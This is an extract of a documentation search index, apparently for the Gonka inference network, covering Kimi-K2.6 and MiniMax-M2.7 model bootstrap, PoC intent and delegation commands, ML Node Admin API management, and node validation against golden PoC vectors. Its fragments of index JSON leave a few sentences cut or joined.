The model passes the pre-evaluation at block 3873996 but does not become eligible at PoC
Everyone who participated in PoC keeps their full weight from Qwen235 (no punishment)
PoCDelegation / PoCRefusal keeps their full weight (no punishment)PoCIntent and does not participate loses 15% of their weightIf the model passes both checks, punishment follows the usual scenarios described in the documentation.
"}, {"location": "gonka/docs/host/kimi-bootstrap/#instructions-for-hosts-who-are-going-to-deploy-kimi-k26", "title": "Instructions for hosts who are going to deploy Kimi-K2.6", "text": ""}, {"location": "gonka/docs/host/kimi-bootstrap/#1-send-pocintent-to-the-chain", "title": "1. SendPoCIntent to the chain:", "text": "export NODE=https://node3.gonka.ai/\n./inferenced tx inference declare-poc-intent moonshotai/Kimi-K2.6 \\\n --from node-2 \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nKimi-K2.6 weights are downloaded and you can deploy the model successfully", "text": "3873996+ and check whether the model becomes pre-eligible:NODE=https://node3.gonka.ai\nMODEL='moonshotai/Kimi-K2.6'\n\nHEIGHT=$(curl -sG \"$NODE/chain-rpc/block_search\" \\\n --data-urlencode \"query=\\\"bootstrap_model_preeligibility.model_id='$MODEL'\\\"\" \\\n | jq -r '[.result.blocks[].block.header.height|tonumber]|max')\n\necho \"Latest snapshot at height $HEIGHT\"\n\ncurl -s \"$NODE/chain-rpc/block_results?height=$HEIGHT\" \\\n | jq --arg m \"$MODEL\" '\n .result.finalize_block_events[]\n | select(.type==\"bootstrap_model_preeligibility\")\n | (.attributes | from_entries) as $a\n | select($a.model_id==$m)\n | $a'\nThe results will be sent in all channels.
"}, {"location": "gonka/docs/host/kimi-bootstrap/#4-switch-the-model-to-kimi-k26-if-needed", "title": "4. Switch the model to Kimi-K2.6 if needed", "text": "Example command to deploy Kimi-K2.6 on 4xB200 / 8xB200:
curl -X POST http://localhost:9200/admin/v1/nodes \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"<NODE_ID>\",\n \"host\": \"<NODE_IP>\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"moonshotai/Kimi-K2.6\": {\n \"args\": [\n \"--tensor-parallel-size\", \"4\",\n \"--enable-expert-parallel\",\n \"--trust-remote-code\",\n \"--mm-encoder-tp-mode\", \"data\",\n \"--tool-call-parser\", \"kimi_k2\",\n \"--reasoning-parser\", \"kimi_k2\",\n \"--attention-backend\", \"FLASHINFER_MLA\",\n \"--disable-custom-all-reduce\",\n \"--gpu-memory-utilization\", \"0.95\",\n \"--max-num-seqs\", \"128\",\n \"--max-model-len\", \"240000\"\n ]\n }\n }\n }'\nThe gonka repo ships an agent skill, mlnode-validate, that validates a deployed ML Node against pre-computed honest PoC vectors for a specific model. For Kimi K2.6 the committed golden reference is mlnode/packages/benchmarks/scripts/poc_validation/artifacts/moonshotai-kimi-k2.6.json (200 vectors; recorded on 4×B200). See Validate ML Node Deployment and skills/mlnode-validate/SKILL.md.
PoCIntent", "text": "Current intents:
import time\nimport requests\nfrom requests.adapters import HTTPAdapter\nfrom urllib3.util.retry import Retry\n\nNODE = \"https://node3.gonka.ai\"\nMODEL = \"moonshotai/Kimi-K2.6\"\nTIMEOUT = 60\nDELAY = 0.15\n\ndef session():\n s = requests.Session()\n # Retry transient 5xx (node3 returns 503 for some poc_delegation lookups\n # under load) so a single hiccup does not silently drop a participant\n # from the result.\n retry = Retry(\n total=5,\n backoff_factor=0.5,\n status_forcelist=(502, 503, 504),\n allowed_methods=(\"GET\",),\n )\n s.mount(\"https://\", HTTPAdapter(max_retries=retry))\n s.headers[\"Connection\"] = \"close\"\n return s\n\ndef weight(p):\n # weight may be 0, missing, or literally null — all mean \"no voting weight\".\n return int(p.get(\"weight\") or 0)\n\ndef get_json(s, url):\n r = s.get(url, timeout=TIMEOUT)\n r.raise_for_status()\n return r.json()\n\ns = session()\n\nparticipants = get_json(s, f\"{NODE}/v1/epochs/current/participants\")[\n \"active_participants\"\n][\"participants\"]\n\nintents = []\nwith_kimi_model = []\nskipped = [] # participants whose poc_delegation lookup failed after retries\n\nfor p in participants:\n addr = p[\"index\"]\n w = weight(p)\n if MODEL in (p.get(\"models\") or []):\n with_kimi_model.append((addr, w))\n\n try:\n resp = get_json(\n s,\n f\"{NODE}/chain-api/productscience/inference/inference/poc_delegation/{addr}\",\n )\n except requests.RequestException as e:\n skipped.append((addr, w, str(e)))\n time.sleep(DELAY)\n continue\n\n for i in resp.get(\"intents\") or []:\n if i.get(\"model_id\") == MODEL:\n intents.append((addr, w))\n time.sleep(DELAY)\n\ntotal = sum(weight(p) for p in participants)\nintent_weight = sum(w for _, w in intents)\n\nnonzero_intents = [(a, w) for a, w in intents if w > 0]\nzero_intents = [(a, w) for a, w in intents if w == 0]\n\nprint(f\"Active participants: {len(participants)}\")\nprint(f\"With {MODEL} in models[]: {len(with_kimi_model)} (not same as intent)\")\nprint()\nprint(\"Intent from (PoCDirectIntent on chain):\")\nfor addr, w in nonzero_intents:\n print(f\" {addr} : {w}\")\nif zero_intents:\n print()\n print(\"Zero-weight intents (count toward V_min, contribute 0 to W_threshold):\")\n for addr, _ in zero_intents:\n print(f\" {addr} : 0\")\nprint()\nprint(f\"Intent weight: {intent_weight} / {total}\")\nif total:\n print(f\"Intent share: {100.0 * intent_weight / total:.2f}%\")\nif skipped:\n print()\n print(f\"Skipped {len(skipped)} participants after retries (intent may be undercounted):\")\n for addr, w, err in skipped:\n print(f\" {addr} (weight={w}): {err}\")\nDelegation:
export NODE=https://node3.gonka.ai/chain-rpc/\n./inferenced tx inference set-poc-delegation moonshotai/Kimi-K2.6 <DELEGATEE> \\\n --from gonka-account-key \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nRefusal:
export NODE=https://node3.gonka.ai/chain-rpc/\n./inferenced tx inference refuse-poc-delegation moonshotai/Kimi-K2.6 \\\n --from gonka-account-key \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nMiniMaxAI/MiniMax-M2.7 (FP8) is added as a third governance-approved inference model in the v0.2.13 upgrade. This document explains how to minimize the chance of weight reductions during bootstrap, whether or not the model gets enough participants in its first attempt.
For current deployment defaults (including node-config.json), see the Host Quickstart. For the wider context of multi-model PoC mechanics, see Multi-Model PoC. The previous model bootstrap and its mechanics are documented in Kimi K2.6 Bootstrap.
Note
The bootstrap can take multiple epochs, depending on how many participants are ready. Before the configured punishment epoch, no weight reduction happens if participants submit their choice explicitly and hosts who are going to deploy submit PoCIntent.
Punishment for missing MiniMax-M2.7 starts at epoch 278. Each epoch from upgrade activation onwards, the chain attempts to bootstrap the model: it captures a BootstrapDelegationSnapshot 500 blocks (the DeployWindow) before that epoch's PoC stage, evaluates pre-eligibility against V_min = 3 direct committers and a W_threshold fraction of total network weight with >2/3 reachability via INTENT + DELEGATE, and (if pre-eligible) starts PoC for MiniMax that epoch.
The current W_threshold is a governance parameter — read it from the chain rather than hard-coding a value (it was lowered from 0.3 to 0.1 by GIP-48, and may change again):
curl -s \"https://node3.gonka.ai/chain-api/productscience/inference/inference/params\" \\\n | jq '.params.delegation_params.w_threshold'\n# {value, exponent} encodes a decimal: e.g. {\"value\":\"1\",\"exponent\":-1} → 0.1 (10%).\nTo compute the exact block numbers for any given evaluation epoch, anchor on the chain's current epoch and forward-project. The epoch_shift parameter does not anchor to genesis (it gets stale across past epoch-length changes), so epoch_shift + N * epoch_length is wrong on mainnet — always anchor on the live current PoC_start instead:
NODE=https://node3.gonka.ai\n\nPARAMS=$(curl -s \"$NODE/chain-api/productscience/inference/inference/params\")\nEPOCH_LENGTH=$(echo \"$PARAMS\" | jq -r '.params.epoch_params.epoch_length | tonumber')\n\nCURRENT=$(curl -s \"$NODE/v1/epochs/current/participants\" | jq '.active_participants')\nCURRENT_EPOCH=$(echo \"$CURRENT\" | jq -r '.epoch_id')\nCURRENT_POC_START=$(echo \"$CURRENT\" | jq -r '.poc_start_block_height')\n\nEPOCH=278 # change to any target epoch\nPOC_START=$(( CURRENT_POC_START + (EPOCH - CURRENT_EPOCH) * EPOCH_LENGTH ))\nSNAPSHOT_BLOCK=$(( POC_START - 500 ))\n\necho \"Epoch $EPOCH (current $CURRENT_EPOCH): snapshot at block $SNAPSHOT_BLOCK, PoC starts at block $POC_START\"\nMiniMax becomes pre-eligible at the earliest epoch where participating hosts plus delegations cover the thresholds.
"}, {"location": "gonka/docs/host/minimax-bootstrap/#possible-scenarios", "title": "Possible Scenarios", "text": "The bootstrap of MiniMax-M2.7 can follow these main scenarios:
MiniMax does not pass pre-evaluation in a given epoch's snapshot (and remains not eligible at PoC):
PoCIntent keeps their full weight (no punishment)PoCDelegation / PoCRefusal keeps their full weight (no punishment)278: everyone who submitted nothing also keeps their full weight (punishment is suppressed during the grace period)278 onwards: everyone who submitted nothing loses 15% of their weight per epoch per missed model=> it is important to explicitly send a transaction with your intended behavior before epoch 278
MiniMax passes pre-evaluation but does not become eligible at PoC (e.g., an INTENT host fails to deploy in time):
PoCDelegation / PoCRefusal keeps their full weight (no punishment)278 onwards: everyone who submitted nothing loses 15% of their weight, and everyone who submitted PoCIntent for MiniMax but did not deploy and submit MiniMax PoC commits also loses 15% (IntentMissed resolution)If MiniMax passes both checks, punishment follows the usual scenarios described in Multi-Model PoC.
"}, {"location": "gonka/docs/host/minimax-bootstrap/#hardware-eligibility", "title": "Hardware eligibility", "text": "MiniMax-M2.7 (FP8) requires roughly 320 GB of total VRAM per instance — a meaningfully smaller footprint than Kimi K2.6 or Qwen3-235B, which both require ≥640 GB per instance per the host quickstart reference layout. Practical implications:
tp=4 (two instances per host) or tp=8 (one instance).v0.2.13. Switching from Kimi to MiniMax is recommended; hosts previously on Qwen3-235B must switch to MiniMax, as Qwen3-235B has been retired by governance (proposal 78).PoCIntent to the chain", "text": "export NODE=https://node3.gonka.ai/chain-rpc/\n./inferenced tx inference declare-poc-intent MiniMaxAI/MiniMax-M2.7 \\\n --from gonka-api-key \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nThe MiniMax-M2.7 FP8 weights are ~230 GB. Plan disk space and bandwidth accordingly. Follow the guide to pre-download model weights using the repo and commit below:
hf_repo: MiniMaxAI/MiniMax-M2.7hf_commit: d494266a4affc0d2995ba1fa35c8481cbd84294bVerify the model loads on your hardware before the bootstrap snapshot block. The chain registers MiniMax with Model.ModelArgs:
--enable-auto-tool-choice\n--max-model-len 180000\n--kv-cache-dtype fp8\n--tool-call-parser minimax_m2\n--reasoning-parser minimax_m2_append_think\nAfter each evaluation epoch's snapshot block, the chain emits a bootstrap_model_preeligibility event:
NODE=https://node3.gonka.ai\nMODEL='MiniMaxAI/MiniMax-M2.7'\n\nHEIGHT=$(curl -sG \"$NODE/chain-rpc/block_search\" \\\n --data-urlencode \"query=\\\"bootstrap_model_preeligibility.model_id='$MODEL'\\\"\" \\\n | jq -r '[.result.blocks[].block.header.height|tonumber]|max')\n\necho \"Latest snapshot at height $HEIGHT\"\n\ncurl -s \"$NODE/chain-rpc/block_results?height=$HEIGHT\" \\\n | jq --arg m \"$MODEL\" '\n .result.finalize_block_events[]\n | select(.type==\"bootstrap_model_preeligibility\")\n | (.attributes | from_entries) as $a\n | select($a.model_id==$m)\n | $a'\nThe key attribute is pre_eligible. If it is true, the chain will run MiniMax PoC this epoch and you should be ready to deploy. The supporting fields show which of the three checks passed: meets_v_min (≥ V_min direct intent committers), meets_weight_threshold (intent weight ≥ W_threshold of total_network_weight), and meets_reachability (intent + delegated reachable_voting_power covers >2/3). intent_host_count and intent_weight show this epoch's direct intent coverage.
Example command to deploy MiniMax-M2.7 on 8×A100 80GB (tp=4, two instances per host):
curl -X POST http://localhost:9200/admin/v1/nodes \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"<NODE_ID>\",\n \"host\": \"<NODE_IP>\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\", \"4\",\n \"--enable-expert-parallel\",\n \"--trust-remote-code\",\n \"--mm-encoder-tp-mode\", \"data\",\n \"--enable-auto-tool-choice\",\n \"--max-model-len\", \"180000\",\n \"--kv-cache-dtype\", \"fp8\",\n \"--tool-call-parser\", \"minimax_m2\",\n \"--reasoning-parser\", \"minimax_m2_append_think\",\n \"--gpu-memory-utilization\", \"0.95\",\n \"--max-num-seqs\", \"128\"\n ]\n }\n }\n }'\nFor 4×B200 / 8×B200 deployments, use --tensor-parallel-size 2 (two instances per 8×B200 box) or --tensor-parallel-size 4 (one instance) depending on throughput preference. The chain Model.ModelArgs are minimal; deployment-side flags (--tensor-parallel-size, --gpu-memory-utilization, --max-num-seqs, etc.) are operator choices.
The gonka repo ships an agent skill, mlnode-validate, that validates a deployed ML Node against pre-computed honest PoC vectors for a specific model. For MiniMax M2.7 the committed golden reference is mlnode/packages/benchmarks/scripts/poc_validation/artifacts/minimaxai-minimax-m2.7.json (200 vectors; recorded on 2×H200). Ready-made deploy/join/ configs are also available for 4×A100, 4×H100, 2×H200, and 2×B200. See Validate ML Node Deployment and skills/mlnode-validate/SKILL.md.
PoCIntent", "text": "import time\nimport requests\nfrom requests.adapters import HTTPAdapter\nfrom urllib3.util.retry import Retry\n\nNODE = \"https://node3.gonka.ai\"\nMODEL = \"MiniMaxAI/MiniMax-M2.7\"\nTIMEOUT = 60\nDELAY = 0.15\n\ndef session():\n s = requests.Session()\n # Retry transient 5xx (node3 returns 503 for some poc_delegation lookups\n # under load) so a single hiccup does not silently drop a participant\n # from the result.\n retry = Retry(\n total=5,\n backoff_factor=0.5,\n status_forcelist=(502, 503, 504),\n allowed_methods=(\"GET\",),\n )\n s.mount(\"https://\", HTTPAdapter(max_retries=retry))\n s.headers[\"Connection\"] = \"close\"\n return s\n\ndef weight(p):\n # weight may be 0, missing, or literally null — all mean \"no voting weight\".\n return int(p.get(\"weight\") or 0)\n\ndef get_json(s, url):\n r = s.get(url, timeout=TIMEOUT)\n r.raise_for_status()\n return r.json()\n\ns = session()\n\nparticipants = get_json(s, f\"{NODE}/v1/epochs/current/participants\")[\n \"active_participants\"\n][\"participants\"]\n\nintents = []\nwith_minimax_model = []\nskipped = [] # participants whose poc_delegation lookup failed after retries\n\nfor p in participants:\n addr = p[\"index\"]\n w = weight(p)\n if MODEL in (p.get(\"models\") or []):\n with_minimax_model.append((addr, w))\n\n try:\n resp = get_json(\n s,\n f\"{NODE}/chain-api/productscience/inference/inference/poc_delegation/{addr}\",\n )\n except requests.RequestException as e:\n skipped.append((addr, w, str(e)))\n time.sleep(DELAY)\n continue\n\n for i in resp.get(\"intents\") or []:\n if i.get(\"model_id\") == MODEL:\n intents.append((addr, w))\n time.sleep(DELAY)\n\ntotal = sum(weight(p) for p in participants)\nintent_weight = sum(w for _, w in intents)\n\nnonzero_intents = [(a, w) for a, w in intents if w > 0]\nzero_intents = [(a, w) for a, w in intents if w == 0]\n\nprint(f\"Active participants: {len(participants)}\")\nprint(f\"With {MODEL} in models[]: {len(with_minimax_model)} (not same as intent)\")\nprint()\nprint(\"Intent from (PoCDirectIntent on chain):\")\nfor addr, w in nonzero_intents:\n print(f\" {addr} : {w}\")\nif zero_intents:\n print()\n print(\"Zero-weight intents (count toward V_min, contribute 0 to W_threshold):\")\n for addr, _ in zero_intents:\n print(f\" {addr} : 0\")\nprint()\nprint(f\"Intent weight: {intent_weight} / {total}\")\nif total:\n print(f\"Intent share: {100.0 * intent_weight / total:.2f}%\")\nif skipped:\n print()\n print(f\"Skipped {len(skipped)} participants after retries (intent may be undercounted):\")\n for addr, w, err in skipped:\n print(f\" {addr} (weight={w}): {err}\")\nDelegation:
export NODE=https://node3.gonka.ai/chain-rpc/\n./inferenced tx inference set-poc-delegation MiniMaxAI/MiniMax-M2.7 <DELEGATEE> \\\n --from gonka-account-key \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nRefusal:
export NODE=https://node3.gonka.ai/chain-rpc/\n./inferenced tx inference refuse-poc-delegation MiniMaxAI/MiniMax-M2.7 \\\n --from gonka-account-key \\\n --node \"$NODE\" \\\n --chain-id gonka-mainnet \\\n --keyring-backend file \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nThis guide explains how to manage inference nodes (ML Nodes) connected to your Network Node using the Admin API.
You will learn how to:
All operations are performed against the Network Node’s Admin API and do not require a chain transaction. Changes take effect immediately at the Network Node level.
"}, {"location": "gonka/docs/host/mlnode-management/#prerequisites", "title": "Prerequisites", "text": "Before managing ML Nodes, make sure that:
curl commands.9200 of the Network Node server.Throughout this guide we assume you run commands from the Network Node server itself:
export ADMIN_API_URL=http://localhost:9200\nIf you are calling the Admin API from another machine, replace localhost with the private IP or hostname of your Network Node (make sure port 9200 is reachable and properly firewalled).
Each ML Node registered with the Network Node is represented by a JSON object with the following key fields:
id – Unique identifier for the ML Node (string).host – Static IP or DNS of the ML Node, or the Docker container name if running in the same Docker network as the Network Node.inference_port – Port used for inference requests (mapped to port 5000 of the ML Node’s nginx container).poc_port – Port used for Proof-of-Compute (PoC) and management operations (mapped to port 8080 of the ML Node’s nginx container).max_concurrent – Maximum number of concurrent inference requests that this ML Node can handle.models – Map of model names to vLLM arguments.Example ML Node configuration:
{\n \"id\": \"node1\",\n \"host\": \"10.0.0.21\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\"\n ]\n }\n }\n}\nSupported model and vLLM arguments
The network currently supports MiniMaxAI/MiniMax-M2.7 as the active PoC model (subject to governance decisions). See the Benchmark to Choose Optimal Deployment Config for LLMs guide.
Use this endpoint to see all ML Nodes currently registered with your Network Node.
Endpoint
GET /admin/v1/nodesExample
curl -X GET \"$ADMIN_API_URL/admin/v1/nodes\" | jq\nExpected result
Use this operation to register a single new ML Node with your Network Node.
Endpoint
POST /admin/v1/nodesAdding a MiniMax node on 4xH100
Example request for MiniMaxAI/MiniMax-M2.7 on 4xH100:
curl -X POST \"$ADMIN_API_URL/admin/v1/nodes\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"node-minimax\",\n \"host\": \"10.0.0.22\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"180000\"\n ]\n }\n }\n }'\nExpected result
On success, returns 200 OK with the newly registered ML Node configuration in JSON. If one or more models are not valid (not approved by governance), the API returns 400 Bad Request with an error message.
Use this endpoint to register several ML Nodes at once. The request body is an array of ML Node definitions.
Endpoint
POST /admin/v1/nodes/batchExample
curl -X POST \"$ADMIN_API_URL/admin/v1/nodes/batch\" \\\n -H \"Content-Type: application/json\" \\\n -d '[\n {\n \"id\": \"node1\",\n \"host\": \"10.0.0.21\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"180000\"\n ]\n }\n }\n },\n {\n \"id\": \"node2\",\n \"host\": \"10.0.0.22\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"180000\"\n ]\n }\n }\n }\n ]'\nExpected result
201 Created with an array of registered nodes.206 Partial Content with nodes (successful ones) and an errors array describing failures.400 Bad Request with details in the errors array.Updating an ML Node is implemented as an upsert:
id already exists, the node is updated.id does not exist, a new node is created.You can use either:
POST /admin/v1/nodes with an existing id, orPUT /admin/v1/nodes/:id with the same id in the body.Keep path and body IDs in sync
For clarity and to avoid confusion, always set the id in the request body to match the :id in the URL when using PUT.
Example: increase max_concurrent and update models
curl -X PUT \"$ADMIN_API_URL/admin/v1/nodes/node1\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"node1\",\n \"host\": \"http://10.0.0.21\",\n \"inference_port\": 5050,\n \"poc_port\": 8080,\n \"max_concurrent\": 800,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"180000\"\n ]\n }\n }\n }'\nExpected result
200 OK with the updated node configuration.400 Bad Request with an error message.Use this endpoint to enable an ML Node that was previously disabled. This operation does not change the node’s configuration, only its administrative state.
Endpoint
POST /admin/v1/nodes/:id/enableExample
curl -X POST \"$ADMIN_API_URL/admin/v1/nodes/node1/enable\"\nExpected result
{\n \"message\": \"node enabled successfully\",\n \"node_id\": \"node1\"\n}\n404 Not Found with an error message.Use this endpoint to disable an ML Node without deleting it. The node remains registered but is marked as administratively disabled. It will remain active until the end of the epoch, but it won't participate in the upcoming PoC and as a result won't be included in the next epoch.
Endpoint
POST /admin/v1/nodes/:id/disableExample
curl -X POST \"$ADMIN_API_URL/admin/v1/nodes/node1/disable\"\nExpected result
{\n \"message\": \"node disabled successfully\",\n \"node_id\": \"node1\"\n}\n404 Not Found with an error message.Disabling vs deleting
Disabling an ML Node is reversible. You can enable it again later using the /enable endpoint. Deleting a node removes its configuration from the Network Node entirely (see below).
Use this endpoint to remove an ML Node configuration entirely from the Network Node.
Endpoint
DELETE /admin/v1/nodes/:idExample
curl -X DELETE \"$ADMIN_API_URL/admin/v1/nodes/node1\"\nExpected result
200 OK with a JSON representation of the deleted node.Irreversible operation
Deleting an ML Node cannot be undone. To re-add the node, you must register it again using the Add a New ML Node or Batch Add endpoints.
"}, {"location": "gonka/docs/host/mlnode-management/#verifying-changes", "title": "Verifying Changes", "text": "After any add/update/enable/disable/delete operation, you can verify the current state of all ML Nodes:
curl -X GET \"$ADMIN_API_URL/admin/v1/nodes\" | jq\nFor end-to-end verification at the protocol level (after Proof-of-Compute), you can also check the current list of active participants:
curl http://node2.gonka.ai:8000/v1/epochs/current/participants | jq\nThis allows you to confirm that your Network Node and its ML Nodes are correctly contributing to the network and that their effective weight reflects recent changes.
"}, {"location": "gonka/docs/host/mlnode-validation/", "title": "Validate ML Node", "text": ""}, {"location": "gonka/docs/host/mlnode-validation/#validate-ml-node-deployment", "title": "Validate ML Node Deployment", "text": "The gonka repo ships an agent skill called mlnode-validate that validates a deployed ML Node against pre-computed honest PoC vectors for a specific model. The skill is self-contained inside the repo (no external code, no callback receiver).
The skill is the contract; this page is a pointer. The single source of truth is skills/mlnode-validate/SKILL.md — required / optional inputs, deploy-config rules, golden-reference list, pass criteria, failure modes, and the report template.
The skill is implemented by two Python scripts under mlnode/packages/benchmarks/scripts/poc_validation/:
validate.py — the main entry point (download → deploy → throughput → validate).make_artifact.py — bakes a new artifact from a trusted MLNode that already serves the target model. Used when no committed golden reference exists for the requested model.validate.py runs four phases against a running ML Node, printing [i/4] headers as it progresses:
[1/4] download — ensures the requested HuggingFace repo is cached on the ML Node. Uses POST /api/v1/models/status, then POST /api/v1/models/download and polls /models/status until DOWNLOADED.[2/4] deploy — starts vLLM if it is not already running. POST /api/v1/inference/up/async {model, dtype, additional_args}, polls GET /api/v1/inference/up/status until is_running == true.[3/4] throughput — measures full-system PoC throughput. POST /api/v1/inference/pow/init/generate (params from the reference); the proxy fans out to every healthy vLLM replica with a different group_id. Samples GET /api/v1/inference/pow/status every --sample-interval for --measure-seconds. Reports per-replica nonces_per_second and the sum across replicas, then POST /api/v1/inference/pow/stop.[4/4] validate — POST /api/v1/inference/pow/generate with wait=true, nonces=[...], validation.artifacts=<artifact>, and the full stat_test block (dist_threshold, p_mismatch, fraud_threshold). The MLNode recomputes the same nonces, runs the L2 per-nonce mismatch test, then the binomial fraud test. Returns {n_total, n_mismatch, mismatch_nonces, p_value, fraud_detected}.Each phase can be skipped via --skip-download, --skip-deploy, --skip-throughput, --skip-validate.
After the four phases, the script writes three files into mlnode/packages/benchmarks/data/experiments/<exp_name>_<ts>/:
validate_config.json — resolved inputs only (MLNode URL, model, reference path + meta, deploy config, PoC params, stat_test with provenance, raw CLI args).validate_report.json — full structured report (config + per-phase results + verdict). This is the audit trail.validate_report.txt — short human-readable summary; first line after the banner is verdict: <PASS|FAIL|...>.Per SKILL.md → Required inputs, the caller MUST supply both:
MLNODE_URL — base URL of the MLNode under test (e.g. http://1.2.3.4:8080). No default.MODEL — target HuggingFace model id in full org/repo form (e.g. MiniMaxAI/MiniMax-M2.7, moonshotai/Kimi-K2.6, Qwen/Qwen3-235B-A22B-Instruct-2507-FP8). No default.This is a load-bearing rule from SKILL.md → Deploy config: from the caller, not the golden:
The golden artifact supplies vectors, PoC params, and stat_test — nothing else. Its additional_args field records which flags were used on the server that generated the vectors and is FYI only. It must not be used as a deploy default on a different server.
The caller passes a deploy config (typically deploy/join/node-config-<model>-<gpu>.json) matching the GPU class of the server under test. The standard flow is to bake a custom reference combining the golden's vectors + params + stat_test with the caller's args, then pass it via --reference:
import json, pathlib\nsrc = pathlib.Path('mlnode/packages/benchmarks/scripts/poc_validation/artifacts/<golden>.json')\nnode_cfg = json.loads(pathlib.Path('deploy/join/node-config-<model>-<gpu>.json').read_text())\n\nd = json.loads(src.read_text())\nd['additional_args'] = list(node_cfg[0]['models']['<HF model id>']['args'])\nd['source'] = f\"vectors from {src.name}; additional_args from deploy/join/node-config-<model>-<gpu>.json\"\ndst = src.with_name(src.stem + '-<gpu>.json')\ndst.write_text(json.dumps(d, indent=2))\npython3 mlnode/packages/benchmarks/scripts/poc_validation/validate.py \\\n --mlnode-url \"$MLNODE_URL\" --model \"$MODEL\" --reference <dst>\nThe custom reference is per-deployment and not committed. The golden reference can be passed directly (without baking) only when the server under test is the same hardware class as the golden's recording server — that is the exception, not the default.
The CLI flags --tp-size, --max-model-len, --extra-arg, --dtype exist for small one-off tweaks on top of a reference, but they cannot remove flags the reference already carries — so they are not a substitute for baking a custom reference when the deployment shape differs from the golden's.
Per SKILL.md → Available golden references, the repo ships these under mlnode/packages/benchmarks/scripts/poc_validation/artifacts/. The auto-lookup <sanitized model>.json picks the default filename per model; variants beyond the default require an explicit --reference <path>.
The \"Recording context\" column describes the server that generated the vectors (FYI only — these flags are NOT a deploy default for your validation; see Deploy config: from the caller, not the golden above).
Model Filename Vectors Recording contextQwen/Qwen3-0.6B qwen-qwen3-0.6b.json 32 local dev / single GPU Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 (default lookup) qwen-qwen3-235b-a22b-instruct-2507-fp8.json 32 tp=4, FlashInfer baseline. Quick smoke test. Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 (extended) qwen-qwen3-235b-a22b-instruct-2507-fp8-deepgemm.json 2000 tp=2, DeepGEMM MoE backend (VLLM_USE_DEEP_GEMM=1, VLLM_MOE_USE_DEEP_GEMM=1), recorded on 4xB200. Pass with --reference. Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 (pubkey-v2) qwen-qwen3-235b-a22b-instruct-2507-fp8-h200-pubkey-v2.json 200 tp=4, recorded on 4xH200 with public_key=test_pub_keys_v2. Pass with --reference. MiniMaxAI/MiniMax-M2.7 (default lookup) minimaxai-minimax-m2.7.json 200 tp=2, FLASHINFER attention, fp8 kv-cache, max-model-len 180000, --trust-remote-code, minimax_m2 tool/reasoning parsers. Recorded on 2xH200. moonshotai/Kimi-K2.6 (default lookup) moonshotai-kimi-k2.6.json 200 tp=4 + expert-parallel, FLASHINFER_MLA attention, gpu-mem 0.95, max-model-len 240000, kimi_k2 tool/reasoning parsers, --disable-custom-all-reduce, --trust-remote-code. Recorded on 4xB200. For Qwen3-235B the same model id has multiple references, exercising different code paths (tp-size, MoE backend, public_key) — see SKILL.md for the recommended multi-run pattern.
"}, {"location": "gonka/docs/host/mlnode-validation/#ready-made-deploy-configs-in-deployjoin", "title": "Ready-made deploy configs indeploy/join/", "text": "The repo ships node-config-*.json files matching common GPU classes for each approved model:
deploy/join/node-config-qwen235B-B200.jsondeploy/join/node-config-kimik26-B200.jsondeploy/join/node-config-kimik26-H200.jsondeploy/join/node-config-minimax-A100.jsondeploy/join/node-config-minimax-H100.jsondeploy/join/node-config-minimax-H200.jsondeploy/join/node-config-minimax-B200.jsonThese configs are also reproduced inline in the Host Quickstart.
"}, {"location": "gonka/docs/host/mlnode-validation/#pass-criteria", "title": "Pass criteria", "text": "Per SKILL.md → Pass criteria:
validation.passed == true, validation.has_mismatches == false, n_mismatch == 0, fraud_detected == false.validation.passed == true, validation.has_mismatches == true, n_mismatch > 0, fraud_detected == false. The fraud test allows up to a few mismatches per p_mismatch. This is still a PASS.validation.passed == false, fraud_detected == true.Exit codes:
0 — PASS (with or without mismatches inside tolerance), or the validate phase was skipped.2 — validation ran and the fraud test fired.1 — hard error before validation could run (download failed, deploy timed out, etc.).validate.py looks up the artifact under mlnode/packages/benchmarks/scripts/poc_validation/artifacts/. If the file for MODEL is missing, the script exits 1 and prints the expected filename plus the exact make_artifact.py command to bake one against a trusted MLNode that already serves the model. The agent must not invent vectors or substitute a different model — see SKILL.md → When no artifact exists for the requested model.
